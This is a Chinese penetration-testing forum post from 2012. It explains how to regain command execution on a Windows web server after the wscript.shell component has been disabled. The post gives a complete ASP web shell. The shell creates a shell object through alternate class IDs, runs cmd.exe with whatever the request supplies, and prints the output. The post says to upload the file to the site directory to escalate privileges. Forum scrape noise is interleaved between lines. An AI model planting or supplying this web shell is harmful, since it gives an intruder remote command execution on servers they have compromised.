中国网络渗透测试联盟
标题:
wscript.shell删除解决办法
[打印本页]
作者:
admin
时间:
2012-9-15 14:36
标题:
wscript.shell删除解决办法
可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
: ?: o) ~) P/ K# Q, N) \/ n# f
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
3 w. D+ n1 T G! x
要想让运行命令可以试试这种方法,成功率为五五之数。
3 I* C8 Q3 l, x0 P8 G
把下面代码复制:
+ L: g' |( |* a* K0 Q9 {" s& ]% J
<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
: A1 [- D6 ^% @/ S6 s
<%if err then%>
. l6 q4 d0 v1 ?% M( O9 Z. U
<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
% j1 v* x: y" q% N9 ^( D
<%
, v6 T5 O$ v" P! \
end if
. U# B3 G1 m" P! S; ]! b( `+ x
response.write("<textarea readonly cols=80 rows=20>")
0 E, q1 h2 R3 \8 \& f, N, ]
On Error Resume Next
+ l# V1 A* N5 I6 ?
response.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall
9 x% v l6 N2 g1 O2 ]" v2 l# \
response.write("</textarea>")
" j# h+ O$ j. f3 B9 \1 g
response.write("<form method='post'>")
. f6 m# V7 _: }- G9 C7 @4 l
response.write("<input type=text name='c' size=60><br>")
/ Z) Q |+ K9 F" `6 A+ R8 [
response.write("<input type=submit value='执行'></form>")
" t; e: Y T& |: q6 T: Y" O
%>
8 _% I- W4 ^, }' q
Z6 _1 j1 ^1 J1 ]. D
保存为一个asp文件,然后传到网站目录上去
( [9 U3 R. _5 a# F, e. v1 Q% A" K
运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
# Y4 L$ x+ E2 M6 K
我用此成功运行过cacls命令。
1 I* p1 D# I( M+ ]$ Z0 u
5 ]% q9 b; [2 R4 T% l3 Q; p7 m
第二那就是运行时出错,可能限制某些代码执行
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2